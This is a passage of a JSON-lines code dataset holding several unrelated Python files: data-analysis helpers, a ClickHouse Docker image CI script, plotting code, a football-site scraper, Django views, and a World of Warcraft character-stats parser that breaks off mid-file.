'Primary character' if character.primary_character else \\\n 'Deprecated character' if character.deprecated_character else \\\n 'Secondary Character'\n ])\n\nwith open(sys.argv[1], 'wb') as f:\n writer = csv.writer(f)\n writer.writerow(('Species', 'Reason', 'Character status'))\n for row in results:\n try:\n writer.writerow(row)\n except UnicodeEncodeError:\n continue\n","sub_path":"bin/other/species-reason-2015.py","file_name":"species-reason-2015.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"296629062","text":"from datetime import datetime, timedelta\n\nimport config\nimport historical_data_collection.data_preparation_helpers as excel\nimport pandas as pd\nimport os\nimport numpy as np\n\nfrom portfolio_management.Portfolio import TimeDataFrame\n\n\ndef gross_national_product_price_index(date):\n return float(excel.read_entry_from_csv(config.MACRO_DATA_FILE_PATH, 'Yearly', 'GNP Price Index', date))\n\n\ndef risk_free_rates(to_date: datetime, from_date=None, frequency: str = 'Yearly'):\n df = pd.read_pickle('{}/pickle/Fama-French 3 Factors Data.pkl'.format(config.FACTORS_DIR_PATH))['RF']\n time_df = TimeDataFrame(df)\n time_df.slice_dataframe(to_date=to_date, from_date=from_date, inplace=True)\n time_df.set_frequency(frequency=frequency, inplace=True)\n return time_df.df_returns\n\n\ndef market_premiums(to_date: datetime, from_date: datetime = None, lookback=None, frequency: str = 'Yearly'):\n df = excel.read_df_from_csv(path='{}/Fama-French Factors Data.xlsx'.format(config.FACTORS_DIR_PATH),\n sheet_name='Daily')['MKT-RF']\n return excel.slice_resample_merge_returns(returns=[df], lookback=lookback, from_date=from_date, to_date=to_date,\n frequency=frequency)\n\n\ndef companies_in_industry(industry, date=datetime.now()):\n if isinstance(industry, config.SIC_Sectors):\n entry = 'SIC Industry'\n elif isinstance(industry, config.GICS_Sectors):\n entry = 'GICS Industry'\n else:\n raise Exception('Ensure arg for industry is an instance of config.SIC_Sectors or config.GICS_Sectorsll')\n\n df = pd.read_pickle(config.TOTAL_MARKET_PATH)\n\n return df[df[entry] == industry.value].index\n\n\ndef companies_in_sector(sector, date=datetime.now()):\n if isinstance(sector, config.SIC_Sectors):\n entry = 'SIC Sector'\n elif isinstance(sector, config.GICS_Sectors):\n entry = 'GICS Sector'\n else:\n raise Exception\n\n df = pd.read_pickle(config.TOTAL_MARKET_PATH)\n return df[df[entry] == sector.value].index\n\n\ndef companies_in_location(location: config.Regions, date=datetime.now()):\n if not isinstance(location, config.Regions):\n raise Exception('Ensure arg for location is an instance of config.Regions')\n df = pd.read_pickle(config.TOTAL_MARKET_PATH)\n return df[df['Location'].str.contains(location)].index\n\n\ndef companies_in_exchange(exchange: config.Exchanges, date=datetime.now()):\n if not isinstance(exchange, config.Exchanges):\n raise Exception('Ensure arg for exchange is an instance of config.Exchanges')\n path = os.path.join(config.MARKET_EXCHANGES_DIR_PATH, '{}.txt'.format(exchange.value))\n df = pd.read_csv(filepath_or_buffer=path, sep='\\t', header=0)\n return list(df['Symbol'])\n\n\ndef companies_in_index(market_index: config.MarketIndices, date=datetime.now()):\n path = os.path.join(config.MARKET_INDICES_DIR_PATH, '{}-Historical-Constituents.pkl'.format(market_index.value))\n df = pd.read_pickle(path)\n idx = excel.get_date_index(date, df.index)\n return list(df.iloc[idx, :])\n\n\ndef company_cik(ticker: str):\n df = pd.read_pickle(config.TOTAL_MARKET_PATH)\n return df['CIK'].loc[ticker]\n\n\ndef company_industry(ticker: str, type: str = 'SIC', date: datetime = datetime.now()):\n '''\n\n :param ticker:\n :param type: SIC, GICS\n :return:\n '''\n df = pd.read_pickle(config.TOTAL_MARKET_PATH)\n return df['{} Industry'.format(type)].loc[ticker]\n\n\ndef company_sector(ticker: str, type: str = 'GICS', date: datetime = datetime.now()):\n '''\n\n :param ticker:\n :param type: SIC, GICS\n :return:\n '''\n df = pd.read_pickle(config.TOTAL_MARKET_PATH)\n return df['{} Sector'.format(type)].loc[ticker]\n\n\ndef company_location(ticker: str, date: datetime = datetime.now()):\n df = pd.read_pickle(config.TOTAL_MARKET_PATH)\n return df['Location'].loc[ticker]\n\n\ndef company_index(ticker: str, date: datetime = datetime.now()):\n df = pd.read_pickle(config.TOTAL_MARKET_PATH)\n return df['Location'].loc[ticker]\n\n\ndef company_exchange(ticker: str):\n df = pd.read_pickle(config.TOTAL_MARKET_PATH)\n return df['Location'].loc[ticker]\n\n\nif __name__ == '__main__':\n print(companies_in_index(config.MarketIndices.SP_500))\n","sub_path":"macroeconomic_analysis/macroeconomic_analysis.py","file_name":"macroeconomic_analysis.py","file_ext":"py","file_size_in_byte":4242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"142740384","text":"#!/usr/bin/env python3\nimport subprocess\nimport logging\nfrom report import create_test_html_report\nfrom s3_helper import S3Helper\nimport json\nimport os\nfrom pr_info import PRInfo\nfrom github import Github\nimport shutil\nfrom get_robot_token import get_best_robot_token, get_parameter_from_ssm\n\nNAME = \"Push to Dockerhub (actions)\"\n\ndef get_changed_docker_images(pr_info, repo_path, image_file_path):\n images_dict = {}\n path_to_images_file = os.path.join(repo_path, image_file_path)\n if os.path.exists(path_to_images_file):\n with open(path_to_images_file, 'r') as dict_file:\n images_dict = json.load(dict_file)\n else:\n logging.info(\"Image file %s doesnt exists in repo %s\", image_file_path, repo_path)\n\n dockerhub_repo_name = 'yandex'\n if not images_dict:\n return [], dockerhub_repo_name\n\n files_changed = pr_info.changed_files\n\n logging.info(\"Changed files for PR %s @ %s: %s\", pr_info.number, pr_info.sha, str(files_changed))\n\n changed_images = []\n\n for dockerfile_dir, image_description in images_dict.items():\n if image_description['name'].startswith('clickhouse/'):\n dockerhub_repo_name = 'clickhouse'\n\n for f in files_changed:\n if f.startswith(dockerfile_dir):\n logging.info(\n \"Found changed file '%s' which affects docker image '%s' with path '%s'\",\n f, image_description['name'], dockerfile_dir)\n changed_images.append(dockerfile_dir)\n break\n\n # The order is important: dependents should go later than bases, so that\n # they are built with updated base versions.\n index = 0\n while index < len(changed_images):\n image = changed_images[index]\n for dependent in images_dict[image]['dependent']:\n logging.info(\n \"Marking docker image '%s' as changed because it depends on changed docker image '%s'\",\n dependent, image)\n changed_images.append(dependent)\n index += 1\n if index > 100:\n # Sanity check to prevent infinite loop.\n raise \"Too many changed docker images, this is a bug.\" + str(changed_images)\n\n # If a dependent image was already in the list because its own files\n # changed, but then it was added as a dependent of a changed base, we\n # must remove the earlier entry so that it doesn't go earlier than its\n # base. This way, the dependent will be rebuilt later than the base, and\n # will correctly use the updated version of the base.\n seen = set()\n no_dups_reversed = []\n for x in reversed(changed_images):\n if x not in seen:\n seen.add(x)\n no_dups_reversed.append(x)\n\n result = [(x, images_dict[x]['name']) for x in reversed(no_dups_reversed)]\n logging.info(\"Changed docker images for PR %s @ %s: '%s'\", pr_info.number, pr_info.sha, result)\n return result, dockerhub_repo_name\n\ndef build_and_push_one_image(path_to_dockerfile_folder, image_name, version_string):\n logging.info(\"Building docker image %s with version %s from path %s\", image_name, version_string, path_to_dockerfile_folder)\n build_log = None\n push_log = None\n with open('build_log_' + str(image_name).replace('/', '_') + \"_\" + version_string, 'w') as pl:\n cmd = \"docker build --network=host -t {im}:{ver} {path}\".format(im=image_name, ver=version_string, path=path_to_dockerfile_folder)\n retcode = subprocess.Popen(cmd, shell=True, stderr=pl, stdout=pl).wait()\n build_log = str(pl.name)\n if retcode != 0:\n return False, build_log, None\n\n with open('tag_log_' + str(image_name).replace('/', '_') + \"_\" + version_string, 'w') as pl:\n cmd = \"docker build --network=host -t {im} {path}\".format(im=image_name, path=path_to_dockerfile_folder)\n retcode = subprocess.Popen(cmd, shell=True, stderr=pl, stdout=pl).wait()\n build_log = str(pl.name)\n if retcode != 0:\n return False, build_log, None\n\n logging.info(\"Pushing image %s to dockerhub\", image_name)\n\n with open('push_log_' + str(image_name).replace('/', '_') + \"_\" + version_string, 'w') as pl:\n cmd = \"docker push {im}:{ver}\".format(im=image_name, ver=version_string)\n retcode = subprocess.Popen(cmd, shell=True, stderr=pl, stdout=pl).wait()\n push_log = str(pl.name)\n if retcode != 0:\n return False, build_log, push_log\n\n logging.info(\"Processing of %s successfully finished\", image_name)\n return True, build_log, push_log\n\ndef process_single_image(versions, path_to_dockerfile_folder, image_name):\n logging.info(\"Image will be pushed with versions %s\", ', '.join(versions))\n result = []\n for ver in versions:\n for i in range(5):\n success, build_log, push_log = build_and_push_one_image(path_to_dockerfile_folder, image_name, ver)\n if success:\n result.append((image_name + \":\" + ver, build_log, push_log, 'OK'))\n break\n logging.info(\"Got error will retry %s time and sleep for %s seconds\", i, i * 5)\n time.sleep(i * 5)\n else:\n result.append((image_name + \":\" + ver, build_log, push_log, 'FAIL'))\n\n logging.info(\"Processing finished\")\n return result\n\n\ndef process_test_results(s3_client, test_results, s3_path_prefix):\n overall_status = 'success'\n processed_test_results = []\n for image, build_log, push_log, status in test_results:\n if status != 'OK':\n overall_status = 'failure'\n url_part = ''\n if build_log is not None and os.path.exists(build_log):\n build_url = s3_client.upload_test_report_to_s3(\n build_log,\n s3_path_prefix + \"/\" + os.path.basename(build_log))\n url_part += 'build_log'.format(build_url)\n if push_log is not None and os.path.exists(push_log):\n push_url = s3_client.upload_test_report_to_s3(\n push_log,\n s3_path_prefix + \"/\" + os.path.basename(push_log))\n if url_part:\n url_part += ', '\n url_part += 'push_log'.format(push_url)\n if url_part:\n test_name = image + ' (' + url_part + ')'\n else:\n test_name = image\n processed_test_results.append((test_name, status))\n return overall_status, processed_test_results\n\ndef upload_results(s3_client, pr_number, commit_sha, test_results):\n s3_path_prefix = f\"{pr_number}/{commit_sha}/\" + NAME.lower().replace(' ', '_')\n\n branch_url = \"https://github.com/ClickHouse/ClickHouse/commits/master\"\n branch_name = \"master\"\n if pr_number != 0:\n branch_name = \"PR #{}\".format(pr_number)\n branch_url = \"https://github.com/ClickHouse/ClickHouse/pull/\" + str(pr_number)\n commit_url = f\"https://github.com/ClickHouse/ClickHouse/commit/{commit_sha}\"\n\n task_url = f\"https://github.com/ClickHouse/ClickHouse/actions/runs/{os.getenv('GITHUB_RUN_ID')}\"\n\n html_report = create_test_html_report(NAME, test_results, \"https://hub.docker.com/u/clickhouse\", task_url, branch_url, branch_name, commit_url)\n with open('report.html', 'w') as f:\n f.write(html_report)\n\n url = s3_client.upload_test_report_to_s3('report.html', s3_path_prefix + \".html\")\n logging.info(\"Search result in url %s\", url)\n return url\n\ndef get_commit(gh, commit_sha):\n repo = gh.get_repo(os.getenv(\"GITHUB_REPOSITORY\", \"ClickHouse/ClickHouse\"))\n commit = repo.get_commit(commit_sha)\n return commit\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n repo_path = os.getenv(\"GITHUB_WORKSPACE\", os.path.abspath(\"../../\"))\n temp_path = os.path.join(os.getenv(\"RUNNER_TEMP\", os.path.abspath(\"./temp\")), 'docker_images_check')\n dockerhub_password = get_parameter_from_ssm('dockerhub_robot_password')\n\n if os.path.exists(temp_path):\n shutil.rmtree(temp_path)\n\n if not os.path.exists(temp_path):\n os.makedirs(temp_path)\n\n with open(os.getenv('GITHUB_EVENT_PATH'), 'r') as event_file:\n event = json.load(event_file)\n\n pr_info = PRInfo(event, False, True)\n changed_images, dockerhub_repo_name = get_changed_docker_images(pr_info, repo_path, \"docker/images.json\")\n logging.info(\"Has changed images %s\", ', '.join([str(image[0]) for image in changed_images]))\n pr_commit_version = str(pr_info.number) + '-' + pr_info.sha\n\n versions = [str(pr_info.number), pr_commit_version]\n\n subprocess.check_output(\"docker login --username 'robotclickhouse' --password '{}'\".format(dockerhub_password), shell=True)\n\n result_images = {}\n images_processing_result = []\n for rel_path, image_name in changed_images:\n full_path = os.path.join(repo_path, rel_path)\n images_processing_result += process_single_image(versions, full_path, image_name)\n result_images[image_name] = pr_commit_version\n\n if len(changed_images):\n description = \"Updated \" + ','.join([im[1] for im in changed_images])\n else:\n description = \"Nothing to update\"\n\n\n if len(description) >= 140:\n description = description[:136] + \"...\"\n\n s3_helper = S3Helper('https://s3.amazonaws.com')\n\n s3_path_prefix = str(pr_info.number) + \"/\" + pr_info.sha + \"/\" + NAME.lower().replace(' ', '_')\n status, test_results = process_test_results(s3_helper, images_processing_result, s3_path_prefix)\n\n url = upload_results(s3_helper, pr_info.number, pr_info.sha, test_results)\n\n gh = Github(get_best_robot_token())\n commit = get_commit(gh, pr_info.sha)\n commit.create_status(context=NAME, description=description, state=status, target_url=url)\n\n with open(os.path.join(temp_path, 'changed_images.json'), 'w') as images_file:\n json.dump(result_images, images_file)\n\n print(\"::notice ::Report url: {}\".format(url))\n print(\"::set-output name=url_output::\\\"{}\\\"\".format(url))\n","sub_path":"tests/ci/docker_images_check.py","file_name":"docker_images_check.py","file_ext":"py","file_size_in_byte":9937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"289470548","text":"import matplotlib.pyplot as plt\nimport seaborn as sns\nimport pickle\nimport pandas as pd\nimport numpy as np\n\nimport collections\nfrom collections import Counter\n\nfrom tqdm import tqdm\n\nimport plotly.express as px\n\n#fig =px.scatter(x=range(10), y=range(10))\n#fig.write_html(\"path/to/file.html\")\n\nstats = pickle.load(open('frequent_words_stats_std2.p','rb'))\n# wordlengths = {}\n\n# for l in stats:\n# wordlengths[l] = len(stats[l])\n# wordlengths = dict(sorted(wordlengths.items(), key=lambda item: item[1], reverse=True))\n\n# #plt.gcf().set_size_inches(70,15)\n# #plt.bar(wordlengths.keys(), wordlengths.values())\n# fig, ax = plt.subplots()\n# fig.set_size_inches(30,20)\n# #plt.gcf().set_size_inches(70,15)\n# ax.bar(wordlengths.keys(), wordlengths.values())\n# ax.set_xticklabels(wordlengths.keys(), rotation=70)\n# ax.set_xlabel(\"Languages\")\n# ax.set_ylabel(\"Number of words\")\n# ax.set_title(\"Number of Words for various languages in Common Voice\")\n# #ax.bar_label(p1)\n# plt.savefig('numwords.png')\n# plt.cla()\n\n# wordlengths = {}\n\n# for l in stats:\n# wordlengths[l] = sum([len(i) for i in stats[l].keys()]) / len(stats[l].keys())\n\n# fig, ax = plt.subplots()\n# fig.set_size_inches(30,20)\n# #plt.gcf().set_size_inches(70,15)\n# ax.bar(wordlengths.keys(), wordlengths.values())\n# ax.set_xticklabels(wordlengths.keys(), rotation=70)\n# ax.set_xlabel(\"Languages\")\n# ax.set_ylabel(\"Word Length\")\n# ax.set_title(\"Average Word Length for various languages in Common Voice\")\n# #ax.bar_label(p1)\n# plt.savefig('wordlengths.png')\n# plt.cla()\n\ndef plot_counts(counts, title, lang):\n counts = Counter(counts)\n data = [(i, counts[i][1]) for i in range(len(counts.most_common(500)))]\n# df = pd.DataFrame([data, columns=[\"index\", \"counts\"]])\n #sns.barplot(x=\"counts\", y=\"keyword\", data=df).set_title(title)\n #length\n# print(len(np.arange(0,50)), len(counts.most_common(50)))\n# print(counts.most_common(50))\n fig = px.line(df, x='index',y='counts', color = lang)\n #plt.plot(np.arange(0,50).tolist(), [i[1] for i in counts.most_common(50)], label = lang)\n print([i[1] for i in counts.most_common(500)])\n #plt.gcf().set_size_inches(15,70)\n# plt.savefig(f\"plots/words/{lang}.png\")\n# plt.cla()\n return fig\n\n\ndata =[]\nfor l in tqdm(stats):\n counts = stats[l]\n counts = Counter(counts).most_common(500)\n #counts\n #print(counts)\n datat = [(i, counts[i][1], l) for i in range(len(counts))]\n data.extend(datat)\n\ndf = pd.DataFrame(data, columns=['index','counts','language'])\n\nfig = px.line(df, x='index', y='counts', color='language')\n\n#for l in tqdm(stats):\n# fig = plot_counts(stats[l], f\"{l} frequent words\", l)\n #plt.draw()\n #plt.pause(0.0001)\n\nfig.write_html('line.html')\n#plt.legend()\n#plt.savefig('line.png')\n#\n\nfrom tqdm import tqdm\n\ndef wordlengths(main_data):\n languages = main_data['language'].unique()\n plot_saves = \"plots/wordlengths/\"\n for l in tqdm(languages):\n\n sub_df = main_data[main_data['language']==l]\n words = sub_df['word'].unique().tolist()\n\n wordlengths = {}\n for w in words:\n if type(w) == str:\n if len(w) in wordlengths:\n wordlengths[len(w)] += 1\n else:\n wordlengths[len(w)] = 1\n\n fig, ax = plt.subplots(figsize=(8,8))\n ax.bar(wordlengths.keys(), wordlengths.values())\n ax.set_xlabel(\"Word Length\")\n ax.set_ylabel(\"Number of Keywords\")\n ax.set_title(f\"Number of Keywords v/s Word Length for {l}\")\n save_path = plot_saves + f\"{l}.png\"\n fig.savefig(f\"{save_path}\")\n\ndef graph1():\n plot_saves = \"plots/wordlengths/\"\n from tqdm import tqdm\n for l in tqdm(languages):\n\n sub_df = main_data[main_data['language']==l]\n\n plotdata = sub_df[['word','counts']].groupby('counts').count().reset_index()\n # plotdata = sub_df_w_counts\n\n fig, ax = plt.subplots(figsize=(8,8))\n ax.bar(plotdata.counts, wordlengths.word)\n ax.set_xlabel(\"Word Length\")\n ax.set_ylabel(\"Number of Keywords\")\n ax.set_title(f\"Number of Keywords v/s Word Length for {l}\")\n save_path = plot_saves + f\"{l}.png\"\n fig.savefig(f\"{save_path}\")","sub_path":"eda/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"621645728","text":"from bs4 import BeautifulSoup\nimport requests\nimport re\nimport os\nfrom datetime import datetime\nimport json\n\nbase_file = os.path.dirname(os.path.abspath(__file__))\n\nbase_filter_data_file = os.path.join(base_file, \"../config/filters.json\")\n\n\ndef get_all_filter_date(older_version=False, write=True):\n \"\"\"\n\n :param older_version:\n :return:\n \"\"\"\n assert type(older_version) == bool\n\n filter = \"filter-body columns\"\n player_url = \"https://sofifa.com/players\"\n res = {}\n if os.path.exists(base_filter_data_file):\n with open(base_filter_data_file) as f:\n res = json.load(f)\n if older_version:\n return res\n\n req = requests.get(player_url)\n assert req.status_code in [200], \"[Html error] code %d\" % req.status_code\n raw_data = req.text\n soup_data = BeautifulSoup(raw_data, features=\"html.parser\")\n filters = soup_data.find('div', {\"class\": filter}).find_all(\"div\", {\"class\": \"column col-4\"})\n\n for fil in filters:\n version = fil.get('data-tag')\n if version not in res:\n res[version] = {}\n month_year = fil.find('div', {\"class\": \"card-header\"}).text.strip()\n dates = fil.find('div', {\"class\": \"card-body\"}).find_all('a')\n reg = r\"/players\\?v=(?P[0-9]+)\\&e=(?P[0-9]+)&set=(?P[a-z]+)\"\n for d in dates:\n reg_match = re.match(reg, d.get('href'))\n reg_res = reg_match.groupdict()\n reg_res['uri'] = \"&\".join([\"%s=%s\" % (k, reg_res[k]) for k in reg_res])\n dt = \"%s %s\" % (d.text.strip(), month_year)\n dt_ = datetime.strptime(dt, \"%d %b %Y\")\n res[version][dt] = reg_res\n\n res['_version'] = datetime.now().strftime(\"%d-%m-%Y %H:%M:%S\")\n if write:\n with open(base_filter_data_file, 'w') as f:\n json.dump(res, f, indent=4)\n return res\n","sub_path":"utils/meta.py","file_name":"meta.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"244682174","text":"from django.shortcuts import render,reverse,redirect\nfrom django.http import HttpResponse\nfrom .models import Profile,Project,User,Review\nfrom .forms import ProfileForm,ProjectForm,ReviewForm\nfrom django.contrib.auth.decorators import login_required\n\n# Create your views here.\n\n@login_required(login_url='/accounts/login')\ndef index(request):\n current_user = request.user\n current_profile = Profile.objects.filter(user=request.user) \n posts=Project.objects.all()[::-1]\n if request.method == 'POST':\n form= ProjectForm(request.POST,request.FILES)\n rate = ReviewForm(request.POST)\n if form.is_valid() and rate.is_valid(): \n project=form.save(commit=False)\n review=rate.save(commit=False)\n project.author=current_user\n review.author=current_user\n project.profile=current_profile\n project.save()\n review.save()\n \n return redirect('index')\n else:\n form=ProjectForm()\n rate=ReviewForm()\n return render(request,\"index.html\",{\"posts\":posts,\"current_user\": current_user, \"form\":form,\"rate\":rate})\n\n\ndef profile(request,id):\n user = User.objects.get(id=id)\n profile = Profile.objects.filter(user = request.user) \n posts = Project.objects.filter(author__id=id)[::-1]\n p_form= ProfileForm()\n return render(request, \"profile.html\", context={\"user\":user,\n \"profile\":profile,\n \"posts\":posts,\"p_form\":p_form})\n \n\n\ndef review_form(request):\n current_user=request.user\n if request.method ==\"POST\":\n rate = ReviewForm(request.POST)\n if rate.is_valid():\n review=rate.save(commit=False)\n review.author=current_user\n review.save()\n \n return redirect('index')\n else:\n rate = ReviewForm()\n return render(request,\"index.html\",{\"rate\":rate,\"current_user\":current_user})\n \n\ndef search_results(request):\n\n if 'search' in request.GET and request.GET[\"search\"]:\n search_term = request.GET.get(\"search\")\n searched_articles = Project.search_by_title(search_term)\n message = f\"{search_term}\"\n\n return render(request, 'search.html',{\"message\":message,\"projects\": searched_articles})\n\n else:\n message = \"You haven't searched for any term\"\n return render(request, 'search.html',{\"message\":message})","sub_path":"App/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"579693008","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\n\t\n# returns a dictionary containing basic character information\ndef getCharacterInfo(server, character):\n\td = {\n\t\t'name': None,\n\t\t'title': None,\n\t\t'gender': None,\n\t\t'class': None,\n\t\t'race': None,\n\t\t'level': None,\n\t\t'itemLevel': None,\n\t\t'thumbnail': None,\n\t\t'render': None,\n\t\t'guild': None,\n\t\t'individualStats': {\n\t\t\t# 'stats'\n\t\t\t'health': None,\n\t\t\t'str': None,\n\t\t\t'agi': None,\n\t\t\t'int': None,\n\t\t\t'sta': None,\n\t\t\t'critRating': None,\n\t\t\t'hasteRating': None,\n\t\t\t'masteryRating': None,\n\t\t\t'versatility': None,\n\t\t\t'armor': None,\n\t\t\t# 'pvp'\n\t\t\t'alteracValleyTowersCaptured': None,\n\t\t\t'alteracValleyTowersDefended': None,\n\t\t\t'eyeOfTheStormFlagsCaptured': None,\n\t\t\t'warsongGulchFlagsCaptured': None,\n\t\t\t'warsongGulchFlagsDefended': None,\n\t\t\t'battlegroundsPlayed': None,\n\t\t\t'battlegroundsWon': None,\n\t\t\t'duelsWon': None,\n\t\t\t'duelsLost': None,\n\t\t\t'honorableKills': None,\n\t\t\t'honorableKillsAlteracValley': None,\n\t\t\t'honorableKillsArathiBasin': None,\n\t\t\t'honorableKillsWarsongGulch': None,\n\t\t\t'honorableKillsWorld': None,\n\t\t\t# 'deaths'\n\t\t\t'drowning': None,\n\t\t\t'dungeon': None, # doesn't include heroic dungeons\n\t\t\t'heroicDungeon': None,\n\t\t\t'raid': None,\n\t\t\t'falling': None,\n\t\t\t'fireAndLava': None,\n\t\t\t'otherPlayers': None,\n\t\t\t'total': None,\n\t\t\t# 'combat'\n\t\t\t'damageDone': None,\n\t\t\t'damageReceived': None,\n\t\t\t'healingDone': None,\n\t\t\t'healingReceived': None,\n\t\t\t'kills': None,\n\t\t\t'killsCritters': None,\n\t\t\t# 'travel'\n\t\t\t'flightPathsTaken': None,\n\t\t\t'hearthstoneUsed': None,\n\t\t\t'portalsTaken': None,\n\t\t\t'summonsAccepted': None,\n\t\t\t# 'emotes'\n\t\t\t'cheer': None,\n\t\t\t'hug': None,\n\t\t\t'lol': None,\n\t\t\t'ohgod': None,\n\t\t\t'wave': None,\n\t\t\t# 'quests'\n\t\t\t'completed': None,\n\t\t\t'aborted': None,\n\t\t\t'dailyCompleted': None,\n\t\t\t'averagePerDay': None,\n\t\t\t# 'skills'\n\t\t\t'cooking': None,\n\t\t\t'cookingRecipes': None,\n\t\t\t'fishing': None,\n\t\t\t'fishCaught': None,\n\t\t\t# 'consumables'\n\t\t\t'bandages': None,\n\t\t\t'beverages': None,\n\t\t\t'food': None,\n\t\t\t'differentBeverages': None,\n\t\t\t'differentFoods': None,\n\t\t\t'elixirs': None,\n\t\t\t'flasks': None,\n\t\t\t'healingPotions': None,\n\t\t\t'manaPotions': None,\n\t\t\t'healthstones': None,\n\t\t\t# 'misc'\n\t\t\t'epicsLooted': None,\n\t\t\t'rollsGreed': None,\n\t\t\t'rollsNeed': None,\n\t\t\t'exaltedFactions': None,\n\t\t\t'petBattlesWon': None\n\t\t},\n\t\t'accountStats': {\n\t\t\t'achievementPoints': None,\n\t\t\t'petsCollected': None,\n\t\t\t'petsNotCollected': None,\n\t\t\t'mountsCollected': None,\n\t\t\t'mountsNotCollected': None\n\t\t}\n\t}\n\t\n\tj = {}\n\ttry:\n\t\twith open('cache/raw_json/{}-{}.json'.format(server, character), 'r') as f:\n\t\t\tj = json.load(f)\n\texcept FileNotFoundError:\n\t\tprint('\"cache/raw_json/{}-{}.json\" not found!'.format(server, character))\n\texcept PermissionError:\n\t\tprint('No permission to open \"cache/raw_json/{}-{}.json\"!'.format(server, character))\n\t\t\n\t# fill first-level entries\n\tfor k in {'name', 'class', 'race', 'gender', 'level', 'thumbnail'}:\n\t\td[k] = j.get(k, None)\n\t\n\t# get render image\n\turl_part = j.get('thumbnail', None)\n\tif url_part is not None:\n\t\turl_part = url_part.replace('avatar','main')\n\t\td['render'] = url_part\n\t\n\t# search the currently selected title (out of all titles)\n\ttmpList = j.get('titles', [])\n\tfor entry in tmpList:\n\t\tif entry.get('selected', False):\n\t\t\td['title'] = entry.get('name', None)\n\t\t\tbreak\n\t\n\t# get/set non-first-level entries\n\td['itemLevel'] = j.get('items',{}).get('averageItemLevel', None)\n\td['guild'] = j.get('guild',{}).get('name', None)\n\td['individualStats']['honorableKills'] = j.get('totalHonorableKills', None)\n\td['accountStats']['achievementPoints'] = j.get('achievementPoints', None)\n\td['accountStats']['petsCollected'] = j.get('pets', {}).get('numCollected', None)\n\td['accountStats']['petsNotCollected'] = j.get('pets', {}).get('numNotCollected', None)\n\td['accountStats']['mountsCollected'] = j.get('mounts', {}).get('numCollected', None)\n\td['accountStats']['mountsNotCollected'] = j.get('mounts', {}).get('numNotCollected', None)\n\tfor k in {'health', 'str', 'agi', 'int', 'sta', 'critRating', 'hasteRating', 'masteryRating', 'versatility', 'armor'}:\n\t\td['individualStats'][k] = j.get('stats', {}).get(k, None)\n\t\n\t# iterate over the subCategories list in the statistics dictionary to find relevant stats\n\t# counts the number of 'hits' to break out of loops early\n\tlistHits = 0\n\tsubListHits = 0\n\tsubSubListHits = 0\n\ttmpList = j.get('statistics',{}).get('subCategories',[])\n\tfor entry in tmpList:\n\t\t# id 141 is 'Combat'/'Kampf'\n\t\tif entry.get('id', 0) == 141:\n\t\t\tlistHits += 1\n\t\t\ttmpSubList = entry.get('statistics',[])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 197 is 'Total damage done'/'Verursachter Schaden insgesamt'\n\t\t\t\tif subEntry.get('id',0) == 197:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['damageDone'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 528 is 'Total damage received'/'Erlittener Schaden insgesamt'\n\t\t\t\tif subEntry.get('id',0) == 528:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['damageReceived'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 198 is 'Total healing done'/'Heilung durchgeführt insgesamt'\n\t\t\t\tif subEntry.get('id',0) == 198:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['healingDone'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 830 is 'Total healing received'/'Erhaltene Heilung insgesamt'\n\t\t\t\tif subEntry.get('id',0) == 830:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['healingReceived'] = subEntry.get('quantity', 0)\n\t\t\t\tif subListHits > 3:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\t\t# id 15219 is 'Pet Battles'/'Haustierkämpfe'\n\t\tif entry.get('id', 0) == 15219:\n\t\t\tlistHits += 1\n\t\t\ttmpSubList = entry.get('statistics',[])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 8278 is 'Pet Battles won at max level'/'Haustierkämpfe auf der Höchststufe gewonnen'\n\t\t\t\tif subEntry.get('id',0) == 8278:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['petBattlesWon'] = subEntry.get('quantity', 0)\n\t\t\t\tif subListHits > 1:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\t\t# id 133 is 'Quests'\n\t\tif entry.get('id', 0) == 133:\n\t\t\tlistHits += 1\n\t\t\ttmpSubList = entry.get('statistics',[])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 98 is 'Quests abgeschlossen'\n\t\t\t\tif subEntry.get('id', 0) == 98:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['completed'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 95 is 'Durchschnittlich abgeschlossene Quests pro Tag'\n\t\t\t\tif subEntry.get('id', 0) == 95:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['averagePerDay'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 97 is 'Durchschnittlich abgeschlossene Quests pro Tag'\n\t\t\t\tif subEntry.get('id', 0) == 97:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['dailyCompleted'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 94 is 'Quests abgebrochen'\n\t\t\t\tif subEntry.get('id', 0) == 94:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['aborted'] = subEntry.get('quantity', 0)\n\t\t\t\tif subListHits > 4:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\t\t# id 134 